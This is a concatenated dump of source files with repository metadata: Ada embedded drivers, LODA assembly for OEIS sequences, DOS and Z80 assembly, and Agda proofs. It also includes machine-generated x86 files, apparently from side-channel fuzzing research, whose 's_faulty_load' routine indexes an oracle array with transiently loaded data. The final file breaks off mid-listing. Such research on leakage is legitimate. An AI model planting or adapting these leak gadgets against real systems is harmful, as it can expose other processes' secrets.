STM32.GPIO.GPIOB_Periph.CRL.CNF5 := 2#10#; -- Input with pull-up/down
STM32.GPIO.GPIOB_Periph.CRL.MODE5 := 2#00#; -- Input mode
STM32.GPIO.GPIOB_Periph.BRR.BR.Arr (5) := 1; -- Pull-down
STM32.AFIO.AFIO_Periph.EXTICR2.EXTI.Arr (5) := 2#0001#; -- GPIOB
STM32.EXTI.EXTI_Periph.IMR.MR.Arr (5) := 1; -- Enable interrupt
STM32.EXTI.EXTI_Periph.EMR.MR.Arr (5) := 0;
STM32.EXTI.EXTI_Periph.RTSR.TR.Arr (5) := 1; -- Rising edge enabled
STM32.EXTI.EXTI_Periph.FTSR.TR.Arr (5) := 0; -- Falling edge disabled
-- Device might be sleeping, so assert the WAKEUP pin to wake it.
-- WAKEUP pin must be asserted for at least 500 microseconds.
Assert_WAKEUP;
declare
use type DW1000.Types.Bits_1;
Now : Ada.Real_Time.Time;
WAKEUP_End : Ada.Real_Time.Time;
RSTn_State : DW1000.Types.Bits_1;
begin
Now := Ada.Real_Time.Clock;
WAKEUP_End := Now + Microseconds (500);
delay until WAKEUP_End;
Deassert_WAKEUP;
-- Reset the device. This only has an effect if the device wasn't asleep.
-- Since if the device was asleep then it is now in the WAKEUP state for
-- approx. 4 ms, and during this state it keeps the RSTn line low anyway.
Reset_DW1000;
-- Delay for 4 ms to allow the DW1000 to transition into the INIT state.
-- Otherwise, user code may not be able to communicate with the DW1000
-- if elaboration finishes within 4 ms and the user immediately tries to
-- use the DW1000, since it will still be in the WAKEUP state.
Now := Ada.Real_Time.Clock;
WAKEUP_End := Now + Milliseconds (4);
loop
-- The DW1000 de-asserts the RSTn line when it exits the WAKEUP state
-- which lets us exit early.
Get_Reset_State (RSTn_State);
exit when RSTn_State = 1;
-- Otherwise, exit anyway after 4 ms.
Now := Ada.Real_Time.Clock;
exit when Now >= WAKEUP_End;
end loop;
end;
end DW1000.BSP;
|
programs/oeis/097/A097788.asm | neoneye/loda | 22 | 179695 | <reponame>neoneye/loda<gh_stars>10-100
; A097788: a(n)=4a(n-1)+C(n+3,3),n>0, a(0)=1.
; 1,8,42,188,787,3204,12900,51720,207045,828400,3313886,13255908,53024087,212096908,848388312,3393554064,13574217225,54296870040,217187481490,868749927500,3474999711771,13899998849108,55599995398732,222399981597528,889599926393037,3558399705575424,14233598822305350,56934395289225460,227737581156906335,910950324627630300,3643801298510526656,14575205194042112608,58300820776168456977,233203283104673835048,932813132418695347962,3731252529674781400284,14925010118699125610275,59700040474796502450980,238800161899186009814580,955200647596744039269800,3820802590386976157091541,15283210361547904628379408,61132841446191618513531822,244531365784766474054142468,978125463139065896216586087,3912501852556263584866361644,15650007410225054339465465000,62600029640900217357861879600,250400118563600869431447539225,1001600474254403477725790179000,4006401897017613910903160739426,16025607588070455643612642982508,64102430352281822574450571956267,256409721409127290297802287852788,1025638885636509161191209151440412,4102555542546036644764836605792504,16410222170184146579059346423202525,65640888680736586316237385692844320,262563554722946345264949542771413270
lpb $0
mov $2,$0
sub $0,1
seq $2,52161 ; Partial sums of A014825, second partial sums of A002450.
add $1,$2
lpe
add $1,1
mov $0,$1
|
oeis/347/A347152.asm | neoneye/loda-programs | 11 | 82645 | <gh_stars>10-100
; A347152: Decimal expansion of 7 * Pi / 2.
; Submitted by <NAME>(s2)
; 1,0,9,9,5,5,7,4,2,8,7,5,6,4,2,7,6,3,3,4,6,1,9,2,5,1,8,4,1,4,7,8,2,6,0,0,9,4,6,9,0,0,9,2,8,9,7,8,1,2,8,7,0,3,7,3,4,1,2,3,0,6,0,7,3,0,7,7,3,5,7,4,2,2,0,0,1,7,3,1,4,9,5,1,9,8,1
mov $2,1
mov $3,$0
mul $3,5
lpb $3
mul $1,$3
mov $5,$3
mul $5,2
add $5,1
mul $2,$5
add $1,$2
div $5,$2
add $5,$0
div $1,$5
div $2,$5
sub $3,1
lpe
mul $1,7
mov $4,10
pow $4,$0
div $2,$4
mul $2,10
div $1,$2
add $1,$4
mov $0,$1
mod $0,10
|
libsrc/_DEVELOPMENT/adt/w_vector/c/sccz80/w_vector_data.asm | meesokim/z88dk | 0 | 245161 |
; void *w_vector_data(b_vector_t *v)
SECTION code_adt_w_vector
PUBLIC w_vector_data
defc w_vector_data = asm_w_vector_data
INCLUDE "adt/w_vector/z80/asm_w_vector_data.asm"
|
firmware/coreboot/3rdparty/libhwbase/common/hw-pci-mmconf.adb | fabiojna02/OpenCellular | 1 | 7863 | --
-- Copyright (C) 2017 <NAME> <<EMAIL>>
--
-- This program is free software; you can redistribute it and/or modify
-- it under the terms of the GNU General Public License as published by
-- the Free Software Foundation; either version 2 of the License, or
-- (at your option) any later version.
--
-- This program is distributed in the hope that it will be useful,
-- but WITHOUT ANY WARRANTY; without even the implied warranty of
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-- GNU General Public License for more details.
--
with HW.Config;
package body HW.PCI.MMConf
with
Refined_State =>
(Address_State =>
(MM8.Base_Address, MM16.Base_Address, MM32.Base_Address),
PCI_State =>
(MM8.State, MM16.State, MM32.State))
is
Default_Base_Address : constant Word64 :=
Calc_Base_Address (Config.Default_MMConf_Base, Dev);
type Index16 is new Index range 0 .. Index'Last / 2;
type Index32 is new Index range 0 .. Index'Last / 4;
type Array8 is array (Index) of Byte with Atomic_Components;
type Array16 is array (Index16) of Word16 with Atomic_Components;
type Array32 is array (Index32) of Word32 with Atomic_Components;
package MM8 is new HW.MMIO_Range
(Default_Base_Address, Word8, Index, Array8);
package MM16 is new HW.MMIO_Range
(Default_Base_Address, Word16, Index16, Array16);
package MM32 is new HW.MMIO_Range
(Default_Base_Address, Word32, Index32, Array32);
procedure Read8 (Value : out Word8; Offset : Index) renames MM8.Read;
procedure Read16 (Value : out Word16; Offset : Index)
is
begin
MM16.Read (Value, Index16 (Offset / 2));
end Read16;
procedure Read32 (Value : out Word32; Offset : Index)
is
begin
MM32.Read (Value, Index32 (Offset / 4));
end Read32;
procedure Write8 (Offset : Index; Value : Word8) renames MM8.Write;
procedure Write16 (Offset : Index; Value : Word16)
is
begin
MM16.Write (Index16 (Offset / 2), Value);
end Write16;
procedure Write32 (Offset : Index; Value : Word32)
is
begin
MM32.Write (Index32 (Offset / 4), Value);
end Write32;
procedure Set_Base_Address (Base : Word64)
is
Base_Address : constant Word64 := Calc_Base_Address (Base, Dev);
begin
MM8.Set_Base_Address (Base_Address);
MM16.Set_Base_Address (Base_Address);
MM32.Set_Base_Address (Base_Address);
end Set_Base_Address;
end HW.PCI.MMConf;
|
Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xca_notsx.log_21829_539.asm | ljhsiun2/medusa | 9 | 165804 | .global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r14
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x1c319, %rax
nop
nop
nop
and %r13, %r13
mov (%rax), %cx
nop
nop
nop
nop
nop
and %rcx, %rcx
lea addresses_WC_ht+0x15871, %rsi
lea addresses_D_ht+0x8835, %rdi
nop
nop
nop
nop
add $16835, %r14
mov $35, %rcx
rep movsb
inc %rsi
lea addresses_D_ht+0x55ef, %r13
nop
nop
nop
nop
nop
dec %r14
mov (%r13), %rdi
nop
nop
nop
nop
nop
sub $48455, %r14
lea addresses_WT_ht+0x132b9, %rdi
and %rcx, %rcx
mov $0x6162636465666768, %r14
movq %r14, %xmm2
movups %xmm2, (%rdi)
nop
nop
dec %rsi
lea addresses_UC_ht+0x9bf9, %rax
nop
nop
and %rbx, %rbx
movb $0x61, (%rax)
nop
nop
nop
nop
sub %r14, %r14
lea addresses_D_ht+0xe3f9, %r13
nop
nop
nop
and %rsi, %rsi
mov $0x6162636465666768, %rcx
movq %rcx, (%r13)
nop
nop
nop
nop
nop
cmp %rdi, %rdi
lea addresses_A_ht+0x10c9, %rsi
nop
add %rdi, %rdi
mov (%rsi), %ax
nop
nop
add %r14, %r14
lea addresses_WC_ht+0x3c39, %r14
nop
inc %rcx
movl $0x61626364, (%r14)
nop
nop
xor $55903, %rdi
lea addresses_UC_ht+0xda39, %rsi
lea addresses_D_ht+0xb476, %rdi
nop
nop
mfence
mov $19, %rcx
rep movsl
add $14879, %rsi
lea addresses_normal_ht+0x15e39, %rax
clflush (%rax)
nop
nop
nop
sub %r13, %r13
mov $0x6162636465666768, %rcx
movq %rcx, (%rax)
nop
nop
nop
nop
nop
xor $17647, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r14
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r9
push %rax
push %rsi
// Faulty Load
lea addresses_WC+0x8039, %r12
nop
dec %r9
movaps (%r12), %xmm4
vpextrq $0, %xmm4, %rsi
lea oracles, %r12
and $0xff, %rsi
shlq $12, %rsi
mov (%r12,%rsi,1), %rsi
pop %rsi
pop %rax
pop %r9
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WC', 'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 5}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 3, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_D_ht'}}
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_D_ht', 'NT': True, 'AVXalign': False, 'size': 8, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 7}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': True, 'AVXalign': False, 'size': 1, 'congruent': 5}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 5}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 4}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 10}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_D_ht'}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 9}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
Cats/Util/SetoidMorphism.agda | alessio-b-zak/cats | 0 | 13982 | module Cats.Util.SetoidMorphism where
open import Data.Product using (∃-syntax ; _,_ ; proj₁ ; proj₂)
open import Level using (_⊔_ ; suc)
open import Relation.Binary using (Rel ; Setoid ; IsEquivalence ; _Preserves_⟶_)
open import Relation.Binary.SetoidReasoning
open import Cats.Util.Function using () renaming (_∘_ to _⊚_)
open Setoid renaming (_≈_ to eq)
infixr 9 _∘_
record _⇒_ {l l≈} (A : Setoid l l≈) {l′ l≈′} (B : Setoid l′ l≈′)
: Set (l ⊔ l′ ⊔ l≈ ⊔ l≈′)
where
field
arr : Carrier A → Carrier B
resp : arr Preserves eq A ⟶ eq B
open _⇒_ public using (arr ; resp)
module _ {l l≈} {A : Setoid l l≈} {l′ l≈′} {B : Setoid l′ l≈′} where
infixr 4 _≈_
record _≈_ (f g : A ⇒ B) : Set (l ⊔ l≈ ⊔ l≈′) where
constructor ≈-intro
field
≈-elim : ∀ {x y} → eq A x y → eq B (arr f x) (arr g y)
≈-elim′ : ∀ {x} → eq B (arr f x) (arr g x)
≈-elim′ = ≈-elim (refl A)
open _≈_ public
equiv : IsEquivalence _≈_
equiv = record
{ refl = λ {f} → ≈-intro (resp f)
; sym = λ eq → ≈-intro λ x≈y → sym B (≈-elim eq (sym A x≈y))
; trans = λ eq₁ eq₂ → ≈-intro (λ x≈y → trans B (≈-elim eq₁ x≈y) (≈-elim′ eq₂))
}
setoid : Setoid (l ⊔ l≈ ⊔ l′ ⊔ l≈′) (l ⊔ l≈ ⊔ l≈′)
setoid = record
{ Carrier = A ⇒ B
; _≈_ = _≈_
; isEquivalence = equiv
}
id : ∀ {l l≈} {A : Setoid l l≈} → A ⇒ A
id = record { arr = λ x → x ; resp = λ x → x }
_∘_ : ∀ {l l≈} {A : Setoid l l≈} {l′ l≈′} {B : Setoid l′ l≈′}
→ ∀ {l″ l≈″} {C : Setoid l″ l≈″}
→ B ⇒ C → A ⇒ B → A ⇒ C
_∘_ f g = record
{ arr = arr f ⊚ arr g
; resp = resp f ⊚ resp g
}
∘-resp : ∀ {l l≈} {A : Setoid l l≈} {l′ l≈′} {B : Setoid l′ l≈′}
→ ∀ {l″ l≈″} {C : Setoid l″ l≈″}
→ {f f′ : B ⇒ C} {g g′ : A ⇒ B}
→ f ≈ f′ → g ≈ g′ → f ∘ g ≈ f′ ∘ g′
∘-resp f≈f′ g≈g′ = ≈-intro (≈-elim f≈f′ ⊚ ≈-elim g≈g′)
id-l : ∀ {l l≈} {A : Setoid l l≈} {l′ l≈′} {B : Setoid l′ l≈′}
→ {f : A ⇒ B}
→ id ∘ f ≈ f
id-l {f = f} = ≈-intro (resp f)
id-r : ∀ {l l≈} {A : Setoid l l≈} {l′ l≈′} {B : Setoid l′ l≈′}
→ {f : A ⇒ B}
→ f ∘ id ≈ f
id-r {f = f} = ≈-intro (resp f)
assoc : ∀ {l l≈} {A : Setoid l l≈} {l′ l≈′} {B : Setoid l′ l≈′}
→ ∀ {l″ l≈″} {C : Setoid l″ l≈″} {l‴ l≈‴} {D : Setoid l‴ l≈‴}
→ {f : C ⇒ D} {g : B ⇒ C} {h : A ⇒ B}
→ (f ∘ g) ∘ h ≈ f ∘ (g ∘ h)
assoc {f = f} {g} {h} = ≈-intro (resp f ⊚ resp g ⊚ resp h)
module _ {l l≈} {A : Setoid l l≈} {l′ l≈′} {B : Setoid l′ l≈′} where
IsInjective : A ⇒ B → Set (l ⊔ l≈ ⊔ l≈′)
IsInjective f = ∀ {a b} → eq B (arr f a) (arr f b) → eq A a b
IsSurjective : A ⇒ B → Set (l ⊔ l′ ⊔ l≈′)
IsSurjective f = ∀ b → ∃[ a ] (eq B b (arr f a))
|
fm/DosChDir.asm | osfree-project/FamilyAPI | 0 | 8764 | <reponame>osfree-project/FamilyAPI
;/*!
; @file
;
; @ingroup fapi
;
; @brief DosChDir DOS wrapper
;
; (c) osFree Project 2018, <http://www.osFree.org>
; for licence see licence.txt in root directory, or project website
;
; This is Family API implementation for DOS, used with BIND tools
; to link required API
;
; @author <NAME> (<EMAIL>)
;
; Errors:
; 0 NO_ERROR
; 2 ERROR_FILE_NOT_FOUND
; 3 ERROR_PATH_NOT_FOUND
; 5 ERROR_ACCESS_DENIED
; 8 ERROR_NOT_ENOUGH_MEMORY
; 26 ERROR_NOT_DOS_DISK
; 87 ERROR_INVALID_PARAMETER
; 108 ERROR_DRIVE_LOCKED
; 206 ERROR_FILENAME_EXCED_RANGE
;
;--------D-213B-------------------------------
;INT 21 - DOS 2+ - "CHDIR" - SET CURRENT DIRECTORY
; AH = 3Bh
; DS:DX -> ASCIZ pathname to become current directory (max 64 bytes)
;Return: CF clear if successful
; AX destroyed
; CF set on error
; AX = error code (03h) (see #01680 at AH=59h/BX=0000h)
;Notes: if new directory name includes a drive letter, the default drive is
; not changed, only the current directory on that drive
; changing the current directory also changes the directory in which
; FCB file calls operate
; under the FlashTek X-32 DOS extender, the pointer is in DS:EDX
;SeeAlso: AH=47h,AX=713Bh,INT 2F/AX=1105h
;
;
;*/
;
; @todo Add args check and 8.3 filename check
;
.8086
; Helpers
INCLUDE helpers.inc
INCLUDE dos.inc
INCLUDE bseerr.inc
INCLUDE GlobalVars.inc
_TEXT SEGMENT BYTE PUBLIC 'CODE' USE16
@PROLOG DOSCHDIR
DIRNAME DD ?
RESERVED DD ?
@START DOSCHDIR
MOV AX,ERROR_INVALID_PARAMETER
XOR BX, BX
CMP BX, WORD PTR [DS:BP].ARGS.RESERVED
JNZ EXIT
CMP BX, WORD PTR [DS:BP].ARGS.RESERVED+2
JNZ EXIT
CMP LFNAPI, 0FFFFH
JZ LFN
CHANGE_DIR [DS:BP].ARGS.DIRNAME
JMP ERRCHK
LFN:
LFN_CHANGE_DIR [DS:BP].ARGS.DIRNAME
ERRCHK:
JC EXIT ; Error
XOR AX, AX
EXIT:
@EPILOG DOSCHDIR
_TEXT ENDS
END
|
programs/oeis/168/A168194.asm | karttu/loda | 1 | 178678 | ; A168194: a(n) = n^4*(n^3 + 1)/2.
; 0,1,72,1134,8320,39375,140616,412972,1050624,2394765,5005000,9750906,17926272,31388539,52725960,85455000,134250496,205211097,306162504,447001030,640080000,900641511,1247296072,1702552644,2293401600,3051953125,4016133576,5230442322,6746771584,8625291795,10935405000,13756768816,17180393472,21309814449,26262343240,32170398750,39182921856,47466875647,57208833864,68616660060,81921280000,97378549821,115271222472,135911014954,159640778880,186836776875,217911067336,253314000072,293536825344,339114418825,390628125000,448708721526,514039507072,587359515159,669466856520,761222192500,863552342016,977454024597,1103997742024,1244331801090,1399686480000,1571378340931,1760814691272,1969498196064,2199031644160,2451122870625,2727589837896,3030365878222,3361505099904,3723187959855,4117727005000,4547572785036,5015319939072,5523713458669,6075655129800,6674210156250,7322613966976,8024279209947,8782802934984,9601973968120,10485780480000,11438417750841,12464296134472,13568049223974,14754542221440,16028880514375,17396418461256,18862768388772,20433809803264,22115698818885,23914877805000,25838085255346,27892365881472,30085080932979,32423918747080,34916905530000,37572416372736,40399186503697,43406322780744,46603315425150,50000050000000,53606819635551,57434337504072,61493749546684,65796647454720,70355081908125,75181576073416,80289139363722,85691281463424,91402026619915,97435928205000,103808083548456,110534149046272,117630355546089,125113524012360,133001081473750,141311077255296,150062199497847,159273791967304,168965871156180,179159143680000,189875023971061,201135652272072,212963912932194,225383453008000,238418701171875,252094886930376,266438060155072,281475110928384,297233789706945,313742727805000,331031458200366,349130436665472,368071063225999,387885703949640,408607713067500,430271455430656,452912329304397,476566789502664,501272370865210,527067712080000,553992579853371,582087893430472,611395749468504,641959447265280,673823514345625,707033732408136,741637163634822,777682177366144,815218477143975,854297128125000,894970584867076,937292719491072,981318850220709,1027105770302920,1074711777311250,1124196702834816,1175621942555347,1229050486714824,1284546950976240,1342177607680000,1402010417498481,1464115061491272,1528562973563614,1595427373330560,1664783299389375,1736707643002696,1811279182194972,1888578616264704,1968688600715005,2051693782605000,2137680836324586,2226738499795072,2318957611098219,2414431145536200,2513254253125000,2615524296523776,2721340889402697,2830805935251784,2944023666633270,3061100684880000,3182146000242391,3307271072486472,3436589851945524,3570218821027840,3708277036183125,3850886170330056,3998170555747522,4150257227432064,4307275966924035,4469359346605000,4636642774468896,4809264539369472,4987365856746529,5171090914833480,5360586921348750,5556004150673536,5757495991518447,5965218995081544,6179332923700300,6400000800000000,6627388956541101,6861667085968072,7103008291662234,7351589138901120,7607589706526875,7871193639126216,8142588199724472,8421964322996224,8709516668995065,9005443677405000
mov $1,$0
pow $0,7
pow $1,4
add $1,$0
div $1,2
|
programs/oeis/245/A245806.asm | neoneye/loda | 22 | 3755 | ; A245806: 3^n + 10^n.
; 2,13,109,1027,10081,100243,1000729,10002187,100006561,1000019683,10000059049,100000177147,1000000531441,10000001594323,100000004782969,1000000014348907,10000000043046721,100000000129140163,1000000000387420489,10000000001162261467,100000000003486784401,1000000000010460353203,10000000000031381059609,100000000000094143178827,1000000000000282429536481,10000000000000847288609443,100000000000002541865828329,1000000000000007625597484987,10000000000000022876792454961,100000000000000068630377364883,1000000000000000205891132094649,10000000000000000617673396283947,100000000000000001853020188851841,1000000000000000005559060566555523,10000000000000000016677181699666569,100000000000000000050031545098999707
mov $1,3
pow $1,$0
mov $2,10
pow $2,$0
add $1,$2
mov $0,$1
|
test/interaction/Issue564.agda | shlevy/agda | 1,989 | 14985 | module Issue564 where
open import Agda.Primitive using (Level) renaming (lzero to zero)
postulate
A : Level → Set
module M ℓ where
postulate a : A ℓ
postulate
P : A zero → Set
open M zero
p : P a
p = {!!}
|
Cubical/Algebra/AbGroup/Instances/DirectSumHIT.agda | thomas-lamiaux/cubical | 0 | 9175 | {-# OPTIONS --safe #-}
module Cubical.Algebra.AbGroup.Instances.DirectSumHIT where
open import Cubical.Foundations.Prelude
open import Cubical.Algebra.AbGroup
open import Cubical.Algebra.DirectSum.DirectSumHIT.Base
open import Cubical.Algebra.DirectSum.DirectSumHIT.Properties
private variable
ℓ ℓ' : Level
module _ (Idx : Type ℓ) (P : Idx → Type ℓ') (AGP : (r : Idx) → AbGroupStr (P r)) where
open AbGroupStr
open AbGroupProperties Idx P AGP
⊕HIT-AbGr : AbGroup (ℓ-max ℓ ℓ')
fst ⊕HIT-AbGr = ⊕HIT Idx P AGP
0g (snd ⊕HIT-AbGr) = neutral
_+_ (snd ⊕HIT-AbGr) = _add_
- snd ⊕HIT-AbGr = inv
isAbGroup (snd ⊕HIT-AbGr) = makeIsAbGroup trunc addAssoc addRid rinv addComm
|
oeis/021/A021627.asm | neoneye/loda-programs | 11 | 8536 | <reponame>neoneye/loda-programs
; A021627: Decimal expansion of 1/623.
; Submitted by Jon Maiga
; 0,0,1,6,0,5,1,3,6,4,3,6,5,9,7,1,1,0,7,5,4,4,1,4,1,2,5,2,0,0,6,4,2,0,5,4,5,7,4,6,3,8,8,4,4,3,0,1,7,6,5,6,5,0,0,8,0,2,5,6,8,2,1,8,2,9,8,5,5,5,3,7,7,2,0,7,0,6,2,6,0,0,3,2,1,0,2,7,2,8,7,3,1,9,4,2,2,1,5
seq $0,83811 ; Numbers n such that 2n+1 is the digit reversal of n+1.
div $0,2492
mod $0,10
|
src/trendy_test-assertions-integer_assertions.ads | jquorning/trendy_test | 7 | 24370 | with Trendy_Test.Assertions.Discrete;
package Trendy_Test.Assertions.Integer_Assertions
is new Trendy_Test.Assertions.Discrete (Integer); |
programs/oeis/070/A070584.asm | karttu/loda | 1 | 162719 | ; A070584: n^4 mod 41.
; 0,1,16,40,10,10,25,23,37,1,37,4,31,25,40,31,18,4,16,23,18,18,23,16,4,18,31,40,25,31,4,37,1,37,23,25,10,10,40,16,1,0,1,16,40,10,10,25,23,37,1,37,4,31,25,40,31,18,4,16,23,18,18,23,16,4,18,31,40,25,31,4,37,1,37
mov $1,$0
pow $1,4
mod $1,41
|
programs/oeis/155/A155753.asm | karttu/loda | 1 | 175379 | ; A155753: (n^3 - n + 9)/3.
; 3,5,11,23,43,73,115,171,243,333,443,575,731,913,1123,1363,1635,1941,2283,2663,3083,3545,4051,4603,5203,5853,6555,7311,8123,8993,9923,10915,11971,13093,14283,15543,16875,18281,19763,21323,22963,24685,26491,28383,30363,32433,34595,36851,39203,41653,44203,46855,49611,52473,55443,58523,61715,65021,68443,71983,75643,79425,83331,87363,91523,95813,100235,104791,109483,114313,119283,124395,129651,135053,140603,146303,152155,158161,164323,170643,177123,183765,190571,197543,204683,211993,219475,227131,234963,242973,251163,259535,268091,276833,285763,294883,304195,313701,323403,333303,343403,353705,364211,374923,385843,396973,408315,419871,431643,443633,455843,468275,480931,493813,506923,520263,533835,547641,561683,575963,590483,605245,620251,635503,651003,666753,682755,699011,715523,732293,749323,766615,784171,801993,820083,838443,857075,875981,895163,914623,934363,954385,974691,995283,1016163,1037333,1058795,1080551,1102603,1124953,1147603,1170555,1193811,1217373,1241243,1265423,1289915,1314721,1339843,1365283,1391043,1417125,1443531,1470263,1497323,1524713,1552435,1580491,1608883,1637613,1666683,1696095,1725851,1755953,1786403,1817203,1848355,1879861,1911723,1943943,1976523,2009465,2042771,2076443,2110483,2144893,2179675,2214831,2250363,2286273,2322563,2359235,2396291,2433733,2471563,2509783,2548395,2587401,2626803,2666603,2706803,2747405,2788411,2829823,2871643,2913873,2956515,2999571,3043043,3086933,3131243,3175975,3221131,3266713,3312723,3359163,3406035,3453341,3501083,3549263,3597883,3646945,3696451,3746403,3796803,3847653,3898955,3950711,4002923,4055593,4108723,4162315,4216371,4270893,4325883,4381343,4437275,4493681,4550563,4607923,4665763,4724085,4782891,4842183,4901963,4962233,5022995,5084251,5146003,5208253
add $0,2
bin $0,3
mov $1,$0
mul $1,2
add $1,3
|
Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0xca_notsx.log_46_133.asm | ljhsiun2/medusa | 9 | 25684 | <gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r15
push %rbx
lea addresses_A_ht+0x1dd10, %r15
nop
nop
inc %r11
mov (%r15), %r10w
nop
cmp %rbx, %rbx
pop %rbx
pop %r15
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r8
push %r9
push %rax
push %rbp
push %rbx
push %rdx
push %rsi
// Store
lea addresses_PSE+0x9010, %rbx
nop
nop
cmp %rax, %rax
movw $0x5152, (%rbx)
nop
nop
nop
nop
nop
inc %rbp
// Store
mov $0x5cfcd00000000d50, %rax
nop
nop
nop
inc %rsi
movb $0x51, (%rax)
sub $29679, %r8
// Store
lea addresses_WC+0xe5de, %rbx
nop
nop
nop
nop
xor %r9, %r9
movw $0x5152, (%rbx)
nop
nop
nop
nop
nop
and %rax, %rax
// Store
mov $0x256c300000000a90, %rbp
sub %rax, %rax
movl $0x51525354, (%rbp)
nop
nop
nop
inc %rsi
// Store
lea addresses_US+0xd110, %rax
nop
nop
nop
nop
nop
sub $59491, %rdx
mov $0x5152535455565758, %rsi
